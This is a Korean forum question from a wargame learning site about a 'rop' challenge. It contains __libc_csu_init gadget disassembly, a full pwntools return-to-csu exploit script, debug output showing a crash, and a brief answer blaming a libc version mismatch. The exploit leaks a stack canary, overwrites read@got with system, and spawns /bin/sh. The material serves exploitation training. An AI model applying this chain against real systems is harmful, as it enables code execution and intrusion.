[rop] Return-to-Csu
실습에서 진행한 방식대로 코드를 짜서 익스플로잇을 해보니 로컬 환경에서는 실행되지만, 아무리 해봐도 원격 환경에서는 실행이 안되서 Return to csu 기법으로 시도를 해보았습니다.
먼저 libc_csu의 주소를 찾으려고 봐봤더니
0x00000000004007ea <+90>: pop rbx
0x00000000004007eb <+91>: pop rbp
0x00000000004007ec <+92>: pop r12
0x00000000004007ee <+94>: pop r13
0x00000000004007f0 <+96>: pop r14
0x00000000004007f2 <+98>: pop r15
0x00000000004007f4 <+100>: ret
0x00000000004007d0 <+64>: mov rdx,r15
0x00000000004007d3 <+67>: mov rsi,r14
0x00000000004007d6 <+70>: mov edi,r13d
0x00000000004007d9 <+73>: call QWORD PTR [r12+rbx*8]
0x00000000004007dd <+77>: add rbx,0x1
0x00000000004007e1 <+81>: cmp rbp,rbx
0x00000000004007e4 <+84>: jne 0x4007d0 <__libc_csu_init+64>
0x00000000004007e6 <+86>: add rsp,0x8
구글링을 해본 결과와 다르게 r15가 rdx로 들어가고 r13이 rdi로 들어가도록 코드가 출력되었습니다.
그래서 그냥 저 위치에 맞게 코드를 짜면 되겠다 해서 익스플로잇 코드를 짜고
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
context.log_level = 'debug'
p = process("./rop")
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
r = ROP(e)
# [1] Leak Canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)
# [2] Exploit
puts_plt = e.plt['puts']
read_got = e.got['read']
bss = e.bss()
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
csu_init1 = 0x4007ea
csu_init2 = 0x4007d0
dummy = b'A'*8
payload = b'A'*56 + p64(canary) + b'B'*8
# puts(read@got) => read 함수 실제 주소 leak
payload += p64(pop_rdi) + p64(read_got) # puts(read@got)
payload += p64(puts_plt) # puts(read@got) 호출
# read(0, bss, 8) => bss 영역에 "/bin/sh" 쓰기
payload += p64(csu_init1)
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(bss)
payload += p64(8)
payload += p64(csu_init2)
# read(0, read@got, 8) => read@got를 system으로 overwrite
payload += dummy
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(read_got)
payload += p64(8)
payload += p64(csu_init2)
# read("/bin/sh") => system("/bin/sh")를 호출
payload += dummy
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(bss)
payload += p64(0)
payload += p64(0)
payload += p64(csu_init2)
slog("payload length", len(payload))
pause()
p.sendafter("Buf: ", payload) # puts()와 read got를 이용해서 read() 주소 출력
read = u64(p.recv(6)+b'\x00'*2) # 화면에 출력된 read() 주소를 read에 대입
lb = read - libc.symbols["read"] # libc base = read 주소 - read symbols
system = lb + libc.symbols["system"] # system = libc base + system symbols
slog("read", read)
slog("libc_base", lb)
slog("system", system)
p.send(b"/bin/sh")
p.send(p64(system))
p.interactive()
실행을 시켜보았는데
$ python3 local2.py
[+] Starting local process './rop' argv=[b'./rop'] : pid 976
[*] '/home/ion/dreamhack/Exploit_Tech_Return_Oriented_Programming/wargame/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 14 cached gadgets for './rop'
[DEBUG] Received 0x15 bytes:
b'[1] Leak Canary\n'
b'Buf: '
[DEBUG] Sent 0x39 bytes:
65 * 0x39
[DEBUG] Received 0x64 bytes:
00000000 42 75 66 3a 20 41 41 41 41 41 41 41 41 41 41 41 │Buf:│ AAA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 03 02 │AAAA│AAAA│AAAA│AA··│
00000040 1e 10 d9 7f a0 90 07 40 0a 5b 32 5d 20 49 6e 70 │····│···@│·[2]│ Inp│
00000050 75 74 20 52 4f 50 20 70 61 79 6c 6f 61 64 0a 42 │ut R│OP p│aylo│ad·B│
00000060 75 66 3a 20 │uf: │
00000064
[+] Canary: 0xa07fd9101e020300
[+] payload length: 0x120
[*] Paused (press any to continue)
[DEBUG] Sent 0x120 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000030 41 41 41 41 41 41 41 41 00 03 02 1e 10 d9 7f a0 │AAAA│AAAA│····│····│
00000040 42 42 42 42 42 42 42 42 f3 07 40 00 00 00 00 00 │BBBB│BBBB│··@·│····│
00000050 30 10 60 00 00 00 00 00 70 05 40 00 00 00 00 00 │0·`·│····│p·@·│····│
00000060 ea 07 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │··@·│····│····│····│
00000070 01 00 00 00 00 00 00 00 30 10 60 00 00 00 00 00 │····│····│0·`·│····│
00000080 00 00 00 00 00 00 00 00 50 10 60 00 00 00 00 00 │····│····│P·`·│····│
00000090 08 00 00 00 00 00 00 00 d0 07 40 00 00 00 00 00 │····│····│··@·│····│
000000a0 41 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 │AAAA│AAAA│····│····│
000000b0 01 00 00 00 00 00 00 00 30 10 60 00 00 00 00 00 │····│····│0·`·│····│
000000c0 00 00 00 00 00 00 00 00 30 10 60 00 00 00 00 00 │····│····│0·`·│····│
000000d0 08 00 00 00 00 00 00 00 d0 07 40 00 00 00 00 00 │····│····│··@·│····│
000000e0 41 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 │AAAA│AAAA│····│····│
000000f0 01 00 00 00 00 00 00 00 30 10 60 00 00 00 00 00 │····│····│0·`·│····│
00000100 50 10 60 00 00 00 00 00 00 00 00 00 00 00 00 00 │P·`·│····│····│····│
00000110 00 00 00 00 00 00 00 00 d0 07 40 00 00 00 00 00 │····│····│··@·│····│
00000120
[DEBUG] Received 0x7 bytes:
00000000 20 50 69 e6 e5 7f 0a │ Pi·│···│
00000007
[+] read: 0x7fe5e6695020
[+] libc_base: 0x7fe5e6585000
[+] system: 0x7fe5e65d4420
[DEBUG] Sent 0x7 bytes:
b'/bin/sh'
[DEBUG] Sent 0x8 bytes:
00000000 20 44 5d e6 e5 7f 00 00 │ D]·│····│
00000008
[*] Process './rop' stopped with exit code -11 (SIGSEGV) (pid 976)
Traceback (most recent call last):
File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/process.py", line 700, in send_raw
self.proc.stdin.flush()
BrokenPipeError: [Errno 32] Broken pipe
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "local2.py", line 82, in <module>
p.send(p64(system))
File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/tube.py", line 777, in send
self.send_raw(data)
File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/process.py", line 702, in send_raw
raise EOFError
EOFError
Traceback (most recent call last):
File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/process.py", line 746, in close
fd.close()
BrokenPipeError: [Errno 32] Broken pipe
계속 오류가 발생합니다.
어떤 부분에서 실수를 한 걸까요?
#pwnable
작성자 정보
답변
1
Sechack
2024 Invitational Contenders
로컬과 서버 환경의 libc가 다른가봅니다. libc.nullbyte.cat에서 올바른 libc버전을 찾아보세요.